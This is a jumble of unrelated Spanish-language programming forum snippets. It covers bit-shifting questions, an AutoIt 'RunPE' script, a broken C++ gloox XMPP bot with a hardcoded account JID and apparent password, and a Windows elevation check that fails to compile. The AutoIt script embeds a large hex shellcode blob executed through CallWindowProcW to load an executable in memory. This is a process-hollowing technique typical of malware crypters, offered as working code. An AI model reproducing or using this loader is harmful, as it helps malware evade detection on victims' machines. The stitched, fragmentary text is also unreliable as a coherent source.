((short)arr[0])    //casteando a short nos quedaria el byte dentro de 2 bytes, es asi?

0000 0000 0110 1010 // quedando este valor

"<< 4" desplazaria los bits 4 veces hacia la izquierda, correcto?
0000 1010 0110 0000 // quedando este valor

0000 1100 0000 0000

arr[1] >> 4 

0000 1100 0000 0000

0000 0000 0110 1010 | 0000 1100 0000 0000 

Hola estoy probando un Runpe en Autoit que cargue mi propio autoit  :o pero bueno por probar para ver si funciona el código es de un usuario de este foro:
[code width=200]
#cs -------------------------------------------------------
AutoIt Version: 3.3.8.1
Traducido Por..........: Pink
Agradecimientos: hamavb & iCodeInVB6
Script Function...: RunPE-ShellCode "Correr Ejecutable En memoria"
Uso..............: RunPE(Path,$archivobinario)
#ce -------------------------------------------------------

 Global $path = @ScriptDir
 Global $archivobinario = @ScriptFullPath

 RunPE($path,$archivobinario)

Func RunPE($path,$filebin)


local  $ASM = "0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
    $ASM &= "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
    $ASM &= "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
    $ASM &= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
    $ASM &= "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
    $ASM &= "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
    $ASM &= "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
    $ASM &= "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"


Local $BufferASM = DllStructCreate("byte[" & BinaryLen($ASM) & "]")
Local $binBuffer=DllStructCreate("byte[" & BinaryLen($filebin) & "]")


DllStructSetData($BufferASM, 1, $ASM)
DllStructSetData($binBuffer, 1, $filebin)




Local $Ret = DllCall("user32.dll", "int", "CallWindowProcW", _
            "ptr", DllStructGetPtr($BufferASM), _
            "wstr", ($path), _
            "ptr", DllStructGetPtr($binBuffer), _
            "int", 0, _
            "int", 0)

EndFunc

error: cannot declare variable 'b' to be of abstract type 'Bot'|

#include "gloox/src/client.h"
#include "gloox/src/messagehandler.h"
#include "gloox/src/message.h"
#include "gloox/src/presencehandler.h"
#include "gloox/src/connectionlistener.h"
#include <ctime>
#include <iostream>
#include <string>
using namespace std;
using namespace gloox;
//my one
const string LOGIN = "gmail.com";
ostream& operator<<(ostream& os, Message::MessageType type) {
    switch (type) {
        case Message::Chat:
            os << "Chat";
            break;
        case Message::Error:
            os << "Error";
            break;
        case Message::Groupchat:
            os << "Groupchat";
            break;
        case Message::Headline:
            os << "Headline";
            break;
        case Message::Normal:
            os << "Normal";
            break;
        case Message::Invalid:
            os << "Invalid";
            break;
        default:
            os << "unknown type";
            break;
    }
return os;
}

ostream& operator<<(ostream& os, const Message& stanza) {
    os << "type:'" << stanza.subtype() <<  "' from:'" << stanza.from().full() << "' body:'" << stanza.body() << "'";
    return os;
}

class Bot : public MessageHandler,
            /*public PresenceHandler,*/
            public ConnectionListener
            /*,public RosterListener*/{
 public:
   Bot(){
      JID jid( "mmaaria123@gmail.com/home" );
      client = new Client( jid, "mmaaria123" );
      client->registerConnectionListener( this );
      client->registerMessageHandler( this );
      client->connect(true);
   }

    virtual void onConnect() {
        cout << "It is connected good:)"  << endl;
        //sleep(5);
        client->disconnect();
    }

    virtual void onDisconnect(ConnectionError e) {
        cout << "ConnListener::onDisconnect() " << endl;
    }
/*
    virtual bool onTLSConnect(const CertInfo& Info) {

       time_t tm = Info.date_from;
       time_t tm_to = Info.date_to;
       cout << "\t Certificate information to " << LOGIN << endl;
       cout << "\t========================================" << endl;
      // number code << "\tServer status: " << Info.status;
        if (Info.status !=0)
            {
            cout << "\t !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" << endl;
            cout << "\t !!!  The certificate has a problem !!!" << endl;
            cout << "\t !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" << endl;
            // parsing binary Status Cert
            if ((CertInvalid) & Info.status)
                {
                    cout << "\t- The certificate is not trusted " << endl;
                }
            if (( CertSignerUnknown) & Info.status)
                {
                    cout << "\t- The certificate hasn't got a kown issuer" << endl;
                }
            if ((CertRevoked) & Info.status)
                {
                    cout << "\t- The certificate has been revoked " << endl;
                }
            if ((CertExpired) & Info.status)
                {
                    cout << "\t- The certificate has expired " << endl;
                }
            if ((CertNotActive) & Info.status)
                {
                    cout << "\t- The certificate is not yet active " << endl;
                }
            if ((CertWrongPeer) & Info.status)
                {
                    cout << "\t- The certificate has not issued for the peer we're connected to " << endl;
                }
            if ((CertSignerNotCa) & Info.status)
                {
                    cout << "\t- The signer is not CA " << endl;
                }
            cout << endl;
            }
            // end parsing
        else
            // if Info.status=0 sertificate is valide
            cout << " *** Cert is OK!" << endl;

       cout << "\tChain: " << Info.chain << endl;
       cout << "\tIssuer: " << Info.issuer << endl;
       cout << "\tServer: " << Info.server << endl;
       cout << "\tCert date from: " << ctime(&tm);
       cout << "\tCert date to: " << ctime(&tm_to);
       cout << "\tProtocol: " << Info.protocol << endl;
       cout << "\tCipher: " << Info.cipher << endl;
       cout << "\tMAC: " << Info.mac << endl;
       cout << "\tCompression: " << Info.compression << endl;
       cout << "\t========================================" << endl;
     return true;

    }
*/
   virtual void handleMessage( const Message& stanza,
                               MessageSession* session = 0 ){
     Message msg(Message::Chat, stanza.from(), "hello world" );
     client->send( msg );
   }

 private:
   Client* client;
};

int main(){
    cout << "1" << endl;
    Bot b;
}

||=== Build: Debug in main (compiler: GNU GCC Compiler) ===|
C:\Users\Androide\Desktop\main.cpp||In function 'BOOL IsElevated()':|
C:\Users\Androide\Desktop\main.cpp|13|error: 'Elevation' does not name a type|
C:\Users\Androide\Desktop\main.cpp|14|error: 'TOKEN_ELEVATION' was not declared in this scope|
C:\Users\Androide\Desktop\main.cpp|15|error: 'TokenElevation' was not declared in this scope|
C:\Users\Androide\Desktop\main.cpp|16|error: request for member 'TokenIsElevated' in 'Elevation', which is of non-class type 'DWORD {aka long unsigned int}'|
C:\Users\Androide\Desktop\main.cpp|10|warning: unused variable 'Elevation' [-Wunused-variable]|
||=== Build failed: 4 error(s), 1 warning(s) (0 minute(s), 2 second(s)) ===|

#include <iostream>
#include <windows.h>
#include <winnt.h>

using namespace std;

BOOL IsElevated( ) {
    BOOL fRet = FALSE;
    HANDLE hToken = NULL;
    DWORD Elevation;
    if( OpenProcessToken( GetCurrentProcess( ),TOKEN_QUERY,&hToken ) ) {
        DWORD Elevation;
        typedef Elevation TOKEN_ELEVATION;
        DWORD cbSize = sizeof( TOKEN_ELEVATION );
        if( GetTokenInformation( hToken, TokenElevation, &Elevation, sizeof( Elevation ), &cbSize ) ) {
            fRet = Elevation.TokenIsElevated;
        }
    }
    if( hToken ) {
        CloseHandle( hToken );
    }
    return fRet;
}

int main()
{
    bool valor=IsElevated( );

    if(valor==true){
        cout << "Tienes permisos de administrador";
    }else{
        cout << "Eres un usuario corriente";
    }
    system("pause");
    return 0;
}